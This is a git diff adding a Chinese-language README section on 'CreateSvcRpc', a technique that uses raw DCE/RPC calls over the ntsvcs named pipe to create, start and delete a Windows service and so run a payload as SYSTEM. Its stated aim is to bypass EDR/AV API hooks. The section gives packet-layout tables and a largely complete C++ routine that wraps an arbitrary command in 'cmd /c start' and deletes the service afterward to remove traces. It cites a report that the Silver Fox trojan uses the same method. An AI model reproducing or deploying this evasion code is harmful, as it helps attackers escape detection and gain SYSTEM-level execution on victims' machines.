@@ -254,3 +254,159 @@ Usage of gSigFlip.exe:
254254 the xor key you want to use
255255```
256256
257+ ## CreateSvcRpc
258+
259+ ** CreateSvcRpc** 是一种通过原始 RPC 协议直接操控 Windows 服务控制管理器 (SCM) 从而以 SYSTEM 权限执行命令的技术。该技术的原始 POC 由安全研究员 ** x86matthew** 于 2022 年公开。随后,GitHub 用户 antonioCoco 在其项目 [ SspiUacBypass] ( https://github.com/antonioCoco/SspiUacBypass/blob/main/CreateSvcRpc.cpp ) 中提供了基于 x86matthew 代码修改而来的实现。
260+
261+ ### 核心原理
262+
263+ 其核心逻辑在于** 直接进行 RPC 通信** ,从而绕过高层 Win32 API。通常,EDR/AV 产品会 Hook ` OpenSCManager() ` 或 ` CreateService() ` 等标准 API 来监控服务创建行为。而 CreateSvcRpc 不调用这些 API,而是通过命名管道直接与 SCM 的 RPC 接口通信,手工构造 DCE/RPC 协议数据包。这种方式可以有效避开基于 API Hook 的检测机制。
264+
265+ ### RPC 协议实现细节
266+
267+ 该实现主要涉及以下组件:
268+
269+ | 组件 | 说明 |
270+ | :--- | :--- |
271+ | ** Bind Request** | 绑定到 ` 367abb81-9844-35f1-ad32-98f038001003 ` (SVCCTL v2.0) |
272+ | ** NDR 传输语法** | ` 8a885d04-1ceb-11c9-9fe8-08002b104860 ` |
273+ | ** 请求/响应处理** | 手工序列化参数,需严格遵守 4 字节对齐规则 |
274+
275+ #### DCE/RPC Bind 请求数据包布局
276+
277+ 整个 RPC Bind 请求包结构如下:
278+
279+ ``` text
280+ +---------------------------+
281+ | RpcBaseHeader (16B) | ← 所有 RPC 包都有的公共头
282+ +---------------------------+
283+ | RpcBindRequestHeader | ← Bind 特有的参数
284+ +---------------------------+
285+ | Context Entry | ← 要绑定的接口信息
286+ +---------------------------+
287+ ```
288+
289+ ** RpcBaseHeader (16 字节)**
290+
291+ | 偏移 | 大小 | 字段 | 值 | 说明 |
292+ | :--- | :--- | :--- | :--- | :--- |
293+ | 0x00 | 2 | ` wVersion ` | ` 0x0005 ` | DCE/RPC v5 |
294+ | 0x02 | 1 | ` bPacketType ` | ` 0x0B ` (11) | Bind 请求 |
295+ | 0x03 | 1 | ` bPacketFlags ` | ` 0x03 ` | ` PFC_FIRST_FRAG \| PFC_LAST_FRAG ` |
296+ | 0x04 | 4 | ` dwDataRepresentation ` | ` 0x00000010 ` | Little-endian, ASCII, IEEE |
297+ | 0x08 | 2 | ` wFragLength ` | ` 72 ` | 整个包的长度 |
298+ | 0x0A | 2 | ` wAuthLength ` | ` 0 ` | 无认证数据 |
299+ | 0x0C | 4 | ` dwCallIndex ` | ` 1 ` | 调用序号 |
300+
301+ ** RpcBindRequestHeader (12 字节)**
302+
303+ | 偏移 | 大小 | 字段 | 值 | 说明 |
304+ | :--- | :--- | :--- | :--- | :--- |
305+ | 0x10 | 2 | ` wMaxSendFrag ` | ` 4096 ` | 最大发送分片 |
306+ | 0x12 | 2 | ` wMaxRecvFrag ` | ` 4096 ` | 最大接收分片 |
307+ | 0x14 | 4 | ` dwAssocGroup ` | ` 0 ` | 关联组 (新连接为0) |
308+ | 0x18 | 1 | ` bContextCount ` | ` 1 ` | 上下文数量 |
309+ | 0x19 | 3 | ` bAlign[3] ` | ` 0,0,0 ` | 对齐填充 |
310+
311+ ** Context Entry (44 字节)**
312+
313+ | 偏移 | 大小 | 字段 | 值 | 说明 |
314+ | :--- | :--- | :--- | :--- | :--- |
315+ | 0x1C | 2 | ` wContextID ` | ` 0 ` | 上下文 ID |
316+ | 0x1E | 2 | ` wTransItemCount ` | ` 1 ` | 传输语法数量 |
317+ | 0x20 | 16 | ` bInterfaceUUID ` | ` 367abb81... ` | SVCCTL 接口 (UUID: ` 367abb81-9844-35f1-ad32-98f038001003 ` ) |
318+ | 0x30 | 4 | ` dwInterfaceVersion ` | ` 0x00000002 ` | 版本 2.0 |
319+ | 0x34 | 16 | ` bTransferSyntaxUUID ` | ` 8a885d04... ` | NDR 语法 (UUID: ` 8a885d04-1ceb-11c9-9fe8-08002b104860 ` ) |
320+ | 0x44 | 4 | ` dwTransferSyntaxVersion ` | ` 0x00000002 ` | NDR v2 |
321+
322+ ### 代码实现片段
323+
324+ 以下是构造 RPC 请求并创建服务的关键代码逻辑:
325+
326+ ``` cpp
327+ int InvokeCreateSvcRpcMain (char* pExecCmd)
328+ {
329+ RpcConnectionStruct RpcConnection;
330+ BYTE bServiceManagerObject[ 20] ; // SCM 句柄 (RPC 上下文句柄, 固定20字节)
331+ BYTE bServiceObject[ 20] ; // 服务句柄
332+ char szServiceName[ 256] ;
333+ char szServiceCommandLine[ 256] ;
334+
335+ // 生成随机服务名,避免冲突
336+ _snprintf(szServiceName, sizeof(szServiceName) - 1,
337+ "CreateSvcRpc_%u", GetTickCount());
338+
339+ // 关键: 用 "cmd /c start" 包装 payload
340+ // 这样服务启动后立即返回,不会因超时报错
341+ _snprintf(szServiceCommandLine, sizeof(szServiceCommandLine) - 1,
342+ "cmd /c start %s", pExecCmd);
343+
344+ //-------------------------------------------------------------------------
345+ // Step 1: 连接 SVCCTL RPC 接口
346+ // ntsvcs = SCM 的命名管道
347+ // 367abb81-9844-35f1-ad32-98f038001003 = SVCCTL 接口 UUID (MS-SCMR 规范)
348+ //-------------------------------------------------------------------------
349+ if (RpcConnect("ntsvcs", "367abb81-9844-35f1-ad32-98f038001003", 2, &RpcConnection) != 0)
350+ return 1;
351+
352+ //-------------------------------------------------------------------------
353+ // Step 2: ROpenSCManagerW (Opnum 27) - 获取 SCM 句柄
354+ //-------------------------------------------------------------------------
355+ RpcInitialiseRequestData(&RpcConnection);
356+ RpcAppendRequestData_Dword(&RpcConnection, 0); // lpMachineName = NULL
357+ RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDatabaseName = NULL
358+ RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS); // dwDesiredAccess
359+ RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // Opnum 27
360+
361+ // 响应前20字节是 SCM 句柄,后4字节是返回值
362+ memcpy(bServiceManagerObject, &RpcConnection.bProcedureOutputData[0], 20);
363+
364+ //-------------------------------------------------------------------------
365+ // Step 3: RCreateServiceW (Opnum 24) - 创建服务
366+ // 这里手工序列化了 CreateService 的所有参数
367+ //-------------------------------------------------------------------------
368+ RpcInitialiseRequestData(&RpcConnection);
369+ RpcAppendRequestData_Binary(&RpcConnection, bServiceManagerObject, 20); // hSCManager
370+ RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength); // 服务名长度
371+ RpcAppendRequestData_Dword(&RpcConnection, 0); // (对齐填充)
372+ RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength);
373+ RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceName, dwServiceNameLength);
374+ RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDisplayName
375+ RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ALL_ACCESS); // dwDesiredAccess
376+ RpcAppendRequestData_Dword(&RpcConnection, SERVICE_WIN32_OWN_PROCESS); // dwServiceType
377+ RpcAppendRequestData_Dword(&RpcConnection, SERVICE_DEMAND_START); // dwStartType (手动启动)
378+ RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ERROR_IGNORE); // dwErrorControl
379+ // ... lpBinaryPathName (我们的 payload 命令行) ...
380+ RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);
381+ // ... 其他参数 (LoadOrderGroup, Dependencies 等都设为 NULL) ...
382+ RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // Opnum 24
383+
384+ // 响应: [0-3] TagId, [4-23] 服务句柄, [24-27] 返回值
385+ memcpy(bServiceObject, &RpcConnection.bProcedureOutputData[4], 20);
386+
387+ //-------------------------------------------------------------------------
388+ // Step 4: RStartServiceW (Opnum 31) - 启动服务
389+ // 服务会以 SYSTEM 身份运行,执行我们的 payload
390+ //-------------------------------------------------------------------------
391+ RpcInitialiseRequestData(&RpcConnection);
392+ RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); // hService
393+ RpcAppendRequestData_Dword(&RpcConnection, 0); // argc = 0
394+ RpcAppendRequestData_Dword(&RpcConnection, 0); // argv = NULL
395+ RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // Opnum 31
396+
397+ // 注意: 返回 ERROR_SERVICE_REQUEST_TIMEOUT (1053) 是正常的
398+ // 因为我们的 "服务" 不是真正的服务程序,不会响应 SCM 的控制请求
399+
400+ //-------------------------------------------------------------------------
401+ // Step 5: RDeleteService (Opnum 2) - 删除服务,清理痕迹
402+ //-------------------------------------------------------------------------
403+ RpcInitialiseRequestData(&RpcConnection);
404+ RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20);
405+ RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); // Opnum 2
406+
407+ RpcDisconnect(&RpcConnection);
408+ return 0;
409+ }
410+ ```
411+
412+ 根据[火绒安全的报告](https://www.huorong.cn/document/tech/vir_report/1846),银狐木马正是利用此技术来加载 BYOVD 驱动,从而规避了常规的行为监控。
0 commit comments